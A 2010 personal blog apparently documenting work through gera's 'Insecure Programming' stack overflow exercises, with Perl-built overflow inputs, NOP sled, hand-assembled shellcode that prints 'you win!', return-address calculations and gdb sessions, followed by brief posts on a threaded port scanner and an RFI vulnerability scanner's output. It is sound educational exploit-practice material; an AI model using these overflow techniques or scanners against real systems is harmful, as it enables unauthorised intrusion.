Tuesday, June 8, 2010

WARMING UP on STACK: stack5.c


/* stack5.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x000a0d00)
printf("you lose!\n");
}


You have to provide and print your own "you win!" string in stack5. This is your classic buffer overflow exploit: control the saved return address and point it at your provided code.

Start by creating half a buffers worth of NOPs (0x90):


$ perl -e 'print "\x90" x 54;' > nops


I'm still "faking it till I make it" with ASM, so I pieced together the shellcode from various sources. I couldn't get Aleph1's call/jmp method to work--wasn't able to get the offsets right. Next, I stumbled on Charles Stevenson's writehello-core.c shellcode and modified it to meet my needs (Charles code is really understandable).

Here's the rough outline of the ASM:

xor ecx, ecx            ; clear ecx
mul ecx                 ; not sure what this is for
push ecx                ; push NULL onto stack
push 0x216e6977         ; push win! in reverse on stack
push 0x20756f79         ; push you  in reverse on stack
mov dl, 0x8             ; len of string in low order edx
inc ebx                 ; fd, 1 == stdout
mov ecx,esp             ; stack pointer points to "you win!\0", move to ecx
mov al, 0x4             ; syscall, 4 == sys_write in low order eax
int 0x80

xor eax, eax            ; return 0
mov al, 0x01            ; syscall, 1 == exit
int 0x80


Using objdump, scratch __asm__() programs, and gdb's x/#bx command the ASM is transformed into hex (I'm deferring to Greyhat Hacking, Aleph1 and all the other buffer overflow papers out there for an explanation on how to convert the ASM into hex):


$ perl -e 'print "\x31\xdb\xf7\xe3\x53\x68\x77\x69\x6e\x21\x68\x79\x6f\x75\x20\xb2\x08\x43\x89\xe1\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80";' > sc3


Tracking down a return address took some guessing/debugging with gdb. Started off with a bunch of A's:


$ perl -e 'print "A"x108' > of2


I set a breakpoint after we overflow buf and take a look at it:

$ gdb -q stack5
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b 11
Breakpoint 1 at 0x8048417: file stack5.c, line 11.
(gdb) run < of2
Starting program: /home/dennis/gera/stack5/stack5 < of2
buf: bffff4c0 cookie: bffff51c

Breakpoint 1, main () at stack5.c:11
11              if (cookie == 0x000a0d00)
(gdb) x/10x buf
0xbffff4c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4e0:     0x41414141      0x41414141
(gdb) 


0xbffff4e0 looks like a good place to start:


$ perl -e 'print "\xe0\xf4\xff\xbf" x 7;' > ret


7 comes from the following math problem:

112 bytes overwrites the saved return address.

112 - 54 (number of nops) - 30 (size of shellcode in bytes) = 28

28 / 4 (address take up 4 bytes) = 7

Let's put it all together:


$ cat nops > of
$ cat sc3 >> of
$ cat ret >> of

$ stack5 < of
buf: bffff4b0 cookie: bffff50c
you win!$

WARMING UP on STACK: stack1.c

I've been supplementing my reading of Gray Hat Hacking, Second Edition: The Ethical Hacker's Handbook with gera's Insecure Programming by example.

/* stack1.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x41424344)
printf("you win!\n");
}

$ perl -e 'print "A" x 92;' > of
$ echo "DCBA" >> of

$ stack1 < of
buf: bffff4b0 cookie: bffff50c
you win!

WARMING UP on STACK: stack4.c

/* stack4.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x000a0d00)
printf("you win!\n");
}


The technique used in the other stacks won't work here because gets() uses \n (0x0a) as its end of line character--our input will be truncated before we can completely overwrite cookie. Instead, we'll just jump over the check.

I loaded stack4 into gdb, disassembled main, and pretended to know ASM.

if (cookie == 0x000a0d00) looks like this in ASM:

0x08048417
: cmpl $0xa0d00,0xfffffff4(%ebp)
0x0804841e
: jne 0x8048430

0x08048420
: sub $0xc,%esp

After the test, we have:

0x08048423
: push $0x804855c
0x08048428
: call 0x80482e8

At address 0x08048423 we push the "you win!\n" string onto the stack, then call printf() at address 0x08048428.

Before gets() is called, our stack looks something like:

[.... buf ....][cookie][ebp][ret]

If we feed a string that overflows buf, cookie, ebp, and places 0x08048423 onto the saved return address, on return from main() we will jump to the "you win!\n" printf:


$ perl -e 'print "A" x 108;' > of
$ perl -e 'print "\x23\x84\x04\x08";' >> of

$ stack4 < of
buf: bffff4e0 cookie: bffff53c
you win!
Segmentation fault

WARMING UP on STACK: stack3.c

I think the NULL byte (0x00) was supposed to be the obstacle, but the same technique used for stack1 and stack2 worked here as well. mmishou writes about the why here.

/* stack3.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x01020005)
printf("you win!\n");
}

$ perl -e 'print "A" x 92;' > of
$ perl -e 'print "\x05\x00\x02\x01";' >> of

$ stack3 < of
buf: bffff4e0 cookie: bffff53c
you win!

WARMING UP on STACK: stack2.c

stack2 is similar to stack1, just uses some hex.

/* stack2.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x01020305)
printf("you win!\n");
}

$ perl -e 'print "A" x 92;' > of
$ perl -e 'print "\x05\x03\x02\x01";' >> of

$ stack2 < of
buf: bffff4e0 cookie: bffff53c
you win!

Monday, May 17, 2010

Sockets Practice: tpscan.c

tpscan.c is a thread portscanner--some more proof of concept/socket practice.

As expected, it speeds things up nicely:

dennis@ipa:~/projects/sockets/tpscan$ time ./tpscan x.x.x.x
25/smtp is open.
80/www is open.
995/pop3s is open.
0m28.40s real 0m0.00s user 0m0.00s system

dennis@ipa:~/projects/sockets/portscan$ time ./portscan x.x.x.x

Portscanning x.x.x.x (x.x.com)

25/smtp
80/www
995/pop3s

2m15.71s real 0m0.00s user 0m0.01s system

Tuesday, May 4, 2010

Update: rficrawl.c

I turned rficrawl.c from RFI Coverage in Emerging Threats into a RFI scanner, it looks like this now:

dennis@ipa:~/projects/rficrawl$ rficrawl 127.0.0.1 test

Vulnerable: /animals/animals.php?id=
Vulnerable: /OpenSiteAdmin/scripts/classes/DatabaseManager.php?path=
Vulnerable: /OpenSiteAdmin/scripts/classes/FieldManager.php?path=
Vulnerable: /OpenSiteAdmin/scripts/classes/Filter.php?path=
Vulnerable: /OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php?path=
Vulnerable: /OpenSiteAdmin/scripts/classes/Form.php?path=
Vulnerable: /OpenSiteAdmin/scripts/classes/FormManager.php?path=
Vulnerable: /OpenSiteAdmin/scripts/classes/LoginManager.php?path=